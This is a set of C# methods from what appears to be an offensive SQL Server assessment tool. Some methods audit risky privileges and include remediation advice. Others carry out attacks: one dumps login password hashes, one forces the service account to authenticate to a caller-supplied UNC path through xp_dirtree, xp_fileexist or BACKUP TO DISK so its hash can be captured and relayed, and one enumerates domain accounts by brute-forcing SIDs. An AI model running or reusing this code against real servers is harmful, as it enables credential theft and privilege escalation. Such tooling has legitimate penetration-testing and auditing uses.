internal override bool Query() { SQLServerInfo i = new SQLServerInfo(credentials); i.SetInstance(instance); i.Query(); var info = i.GetResults(); List <string> principals = new List <string>(); SetPrincipalNameFilter(info.Currentlogin); base.Query(); foreach (var s in serverRoles) { principals.Add(s.PrincipalName); } principals.Add(info.Currentlogin); principals.Add("Public"); SQLDatabaseRoleMember roleMember = new SQLDatabaseRoleMember(credentials); roleMember.SetRolePrincipalNameFilter(role); roleMember.SetInstance(instance); SQLDatabase database = new SQLDatabase(credentials); database.SetInstance(instance); foreach (var principal in principals) { roleMember.SetPrincipalNameFilter(principal); foreach (var db in database.GetResults()) { if (db.is_trustworthy_on && (bool)db.OwnerIsSysadmin) { roleMember.SetDatabase(db.DatabaseName); roleMember.Query(); foreach (var r in roleMember.GetResults()) { var s = new DbOwner { ComputerName = computerName, Instance = instance, Vulnerability = string.Format("Database Role - {0}", role), Description = string.Format("The login has the {0} role in one or more databases. This may allow the login to escalate privileges to sysadmin if the affected databases are trusted and owned by a sysadmin.", role), Remediation = string.Format("If the permission is not required remove it. Permissions are granted with a command like: EXEC sp_addrolemember \'{0}\', \'MyDbUser\', and can be removed with a command like: EXEC sp_droprolemember \'{0}\', \'MyDbUser\'", role), Severity = "Medium", IsVulnerable = "Yes", IsExploitable = "Unknown", Exploited = "No", ExploitCmd = "", Reference = @"https://msdn.microsoft.com/en-us/library/ms189121.aspx, https://msdn.microsoft.com/en-us/library/ms187861.aspx", Details = string.Format("The {0} database is set as trustworthy and is owned by a sysadmin. This is exploitable.", database) }; spExecuteAs.Add(s); } } } } return(true); }
internal override bool Query() { string query1_1 = string.Format( "SELECT \'{0}\' as [ComputerName],\n" + "\'{1}\' as [Instance],", computerName, instance); int versionShort = 0; using (SQLConnection sql = new SQLConnection(instance)) { sql.BuildConnectionString(credentials); if (!sql.Connect()) { return(false); } SQLServerInfo serverInfo = new SQLServerInfo(credentials); serverInfo.SetInstance(instance); if (!serverInfo.Query()) { return(false); } SQLServerInfo.Details details = serverInfo.GetResults(); int.TryParse(details.SQLServerMajorVersion.Split('.').First(), out versionShort); StringBuilder sb = new StringBuilder(); sb.Append(query1_1); sb.Append(query1_2); if (versionShort > 10) { sb.Append(query1_3); } sb.Append(query1_4); if (!string.IsNullOrEmpty(databaseFilter)) { sb.Append(databaseFilter); } if (!string.IsNullOrEmpty(noDefaultsFilter)) { sb.Append(noDefaultsFilter); } if (!string.IsNullOrEmpty(hasAccessFilter)) { sb.Append(hasAccessFilter); } if (!string.IsNullOrEmpty(sysAdminFilter)) { sb.Append(sysAdminFilter); } #if DEBUG Console.WriteLine(sb.ToString()); #endif databases = sql.Query <Database>(sb.ToString(), new Database()); } return(true); }
internal override bool Query() { SQLServerInfo i = new SQLServerInfo(credentials); i.SetInstance(instance); i.Query(); var info = i.GetResults(); SetPermissionNameFilter("IMPERSONATE"); base.Query(); using (SQLConnection sql = new SQLConnection()) { sql.BuildConnectionString(credentials); sql.Connect(); foreach (var j in serverPrivileges) { string query = string.Format("SELECT IS_SRVROLEMEMBER(\'sysadmin\', \'{0}\') as Status", j.ObjectName); foreach (var r in sql.Query(query).AsEnumerable()) { if (!(r["Status"] is DBNull) && 1 == (int)r["Status"]) { var s = new Impersonate { ComputerName = computerName, Instance = instance, Vulnerability = "Excessive Privilege - Impersonate Login", Description = "The current SQL Server login can impersonate other logins. This may allow an authenticated login to gain additional privileges.", Remediation = "Consider using an alterative to impersonation such as signed stored procedures. Impersonation is enabled using a command like: GRANT IMPERSONATE ON Login::sa to [user]. It can be removed using a command like: REVOKE IMPERSONATE ON Login::sa to [user]", Severity = "High", IsVulnerable = "Yes", IsExploitable = "Unknown", Exploited = "No", ExploitCmd = "", Reference = @"https://msdn.microsoft.com/en-us/library/ms181362.aspx", Details = string.Format("{0} can impersonate the {1} SYSADMIN login. This test was ran with the {2} login.", j.GranteeName, j.ObjectName, info.Currentlogin) }; impersonates.Add(s); } } } } return(true); }
internal override bool Query() { using (SQLConnection sql = new SQLConnection(instance)) { sql.BuildConnectionString(credentials); if (!sql.Connect()) { return(false); } if (!SQLSysadminCheck.Query(instance, computerName, credentials)) { Console.WriteLine("[-] User is not Sysadmin"); return(false); } SQLServerInfo i = new SQLServerInfo(credentials); i.SetInstance(instance); i.Query(); SQLServerInfo.Details d = i.GetResults(); int versionShort; if (!int.TryParse(d.SQLServerMajorVersion.Split('.').First(), out versionShort)) { Console.WriteLine("[-] Unable to ascertain SQL Version"); Console.WriteLine("[*] It is possible to override this with the --version flag"); return(false); } string query = string.Empty; if (8 < versionShort) { query = QUERY1_1; } else { query = QUERY2_1; } //table = sql.Query(query); hashes = sql.Query <Hash>(query, new Hash()); } return(false); }
internal override bool Query() { using (SQLConnection sql = new SQLConnection(instance)) { sql.BuildConnectionString(credentials); if (sql.Connect()) { SQLServerInfo i = new SQLServerInfo(credentials); i.SetInstance(instance); i.Query(); SQLServerInfo.Details d = i.GetResults(); int versionShort; if (!int.TryParse(d.SQLServerMajorVersion.Split('.').First(), out versionShort)) { Console.WriteLine("[-] Unable to ascertain SQL Version"); Console.WriteLine("[*] It is possible to override this with the --version flag"); return(false); } string query1 = string.Empty; string query2 = string.Empty; if (11 > versionShort) { query1 = string.Format("BACKUP LOG [TESTING] TO DISK = \'{0}\'", uncpath); query2 = string.Format("BACKUP DATABASE [TESTING] TO DISK = \'{0}\'", uncpath); } else { query1 = string.Format("xp_dirtree \'{0}\'", uncpath); query2 = string.Format("xp_fileexist \'{0}\'", uncpath); } _Query(sql, query1); _Query(sql, query2); } } return(true); }
internal override bool Query() { SQLServerInfo i = new SQLServerInfo(credentials); i.SetInstance(instance); i.Query(); var info = i.GetResults(); SQLDatabase db = new SQLDatabase(credentials); db.EnableHasAccessFilter(); db.Query(); SQLDatabasePriv priv = new SQLDatabasePriv(credentials); priv.SetInstance(instance); priv.SetPermissionNameFilter("CREATE PROCEDURE"); var dbPrivs = new List <SQLDatabasePriv.DatabasePrivilege>(); foreach (var d in db.GetResults()) { priv.SetDatabase(d.DatabaseName); priv.Query(); foreach (var pr in priv.GetResults()) { dbPrivs.Add(pr); } } List <string> principals = new List <string>(); SetPrincipalNameFilter(info.Currentlogin); base.Query(); foreach (var s in serverRoles) { principals.Add(s.PrincipalName); } principals.Add(info.Currentlogin); principals.Add("Public"); priv.SetPermissionNameFilter("ALTER"); priv.SetPermissionTypeFilter("SCHEMA"); foreach (string principal in principals) { priv.SetPrincipalNameFilter(principal); foreach (var dbp in dbPrivs) { priv.SetDatabase(dbp.DatabaseName); priv.Query(); foreach (var asPriv in priv.GetResults()) { if (dbp.PrincipalName.Contains(principal)) { var s = new XpDirTree { ComputerName = computerName, Instance = instance, Vulnerability = "Permission - CREATE PROCEDURE", Description = "The login has privileges to create stored procedures in one or more databases. This may allow the login to escalate privileges within the database.", Remediation = "If the permission is not required remove it. Permissions are granted with a command like: GRANT CREATE PROCEDURE TO user, and can be removed with a command like: REVOKE CREATE PROCEDURE TO user", Severity = "Medium", IsVulnerable = "Yes", IsExploitable = "Unknown", Exploited = "No", ExploitCmd = "No exploit is currently available that will allow the current user to become a sysadmin.", Reference = @"https://msdn.microsoft.com/en-us/library/ms187926.aspx?f=255&MSPPError=-2147217396", Details = string.Format("The {0} principal has EXECUTE privileges on the {1} procedure in the master database.", principal, xp) }; spExecuteAs.Add(s); } } } } return(true); }
internal override bool Query() { SQLServerInfo i = new SQLServerInfo(credentials); i.SetInstance(instance); i.Query(); var info = i.GetResults(); List <string> principals = new List <string>(); SetPrincipalNameFilter(info.Currentlogin); base.Query(); foreach (var s in serverRoles) { principals.Add(s.PrincipalName); } principals.Add(info.Currentlogin); principals.Add("Public"); SQLDatabasePriv p = new SQLDatabasePriv(credentials); p.SetInstance(instance); p.SetDatabase("master"); p.SetPermissionNameFilter("EXECUTE"); p.Query(); var dirTree = new List <SQLDatabasePriv.DatabasePrivilege>(); foreach (var priv in p.GetResults()) { if (!string.IsNullOrEmpty(priv.ObjectName) && priv.ObjectName.Contains(xp) && priv.StateDescription.Contains("grant")) { dirTree.Add(priv); } } foreach (var r in dirTree) { if (r.PrincipalName.Contains("public") || principals.Contains(r.PrincipalName)) { var s = new XpDirTree { ComputerName = computerName, Instance = instance, Vulnerability = string.Format("Excessive Privilege - Execute {0}", xp), Description = string.Format("{0} is a native extended stored procedure that can be executed by members of the Public role by default in SQL Server 2000-2014. {0} can be used to force the SQL Server service account to authenticate to a remote attacker. The service account password hash can then be captured + cracked or relayed to gain unauthorized access to systems. This also means {0} can be used to escalate a lower privileged user to sysadmin when a machine or managed account isnt being used. Thats because the SQL Server service account is a member of the sysadmin role in SQL Server 2000-2014, by default.", xp), Remediation = string.Format("Remove EXECUTE privileges on the {0} procedure for non administrative logins and roles. Example command: REVOKE EXECUTE ON {0} to Public.", xp), Severity = "Medium", IsVulnerable = "Yes", IsExploitable = "Unknown", Exploited = "No", ExploitCmd = "Crack the password hash offline or relay it to another system.", Reference = @"https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/", Details = string.Format("The {0} principal has EXECUTE privileges on the {1} procedure in the master database.", r.PrincipalName, xp) }; spExecuteAs.Add(s); } } return(true); }
internal override bool Query() { using (SQLConnection sql = new SQLConnection(instance)) { sql.BuildConnectionString(credentials); if (!sql.Connect()) { return(false); } SQLServerInfo info = new SQLServerInfo(credentials); info.SetInstance(instance); info.Query(); SQLServerInfo.Details d = info.GetResults(); domainName = d.DomainName; string query1_1 = string.Format("SELECT SUSER_SID(\'{0}\\{1}\') as DomainGroupSid", domainName, domainGroup); #if DEBUG Console.WriteLine(query1_1); #endif DataTable table = sql.Query(query1_1); byte[] sidBytes = (byte[])table.AsEnumerable().First()["DomainGroupSid"]; string strSid = BitConverter.ToString(sidBytes).Replace("-", "").Substring(0, 48); Console.WriteLine("Base SID: {0}", strSid); for (int i = start; i <= end; i++) { string strHexI = i.ToString("x"); int nStrHexI = strHexI.Length; string rid = strHexI; if (0 != nStrHexI % 2) { rid = "0" + strHexI; } string[] arrSplit = Split(rid, 2).ToArray(); Array.Reverse(arrSplit); rid = string.Join("", arrSplit); rid = rid.PadRight(8, '0'); rid = "0x" + strSid + rid; string query2_1 = string.Format("SELECT SUSER_SNAME({0}) as [DomainAccount]", rid); #if DEBUG Console.WriteLine(query2_1); #endif table = sql.Query(query2_1); foreach (DataRow row in table.AsEnumerable()) { try { if (row["DomainAccount"] is DBNull) { continue; } Fuzz f = new Fuzz { ComputerName = computerName, Instance = instance, SID = rid, RID = i, DomainAccount = (string)row["DomainAccount"], }; fuzzed.Add(f); } catch (Exception ex) { if (ex is ArgumentNullException) { continue; } else { Console.WriteLine(ex.Message); } return(false); } } } } return(true); }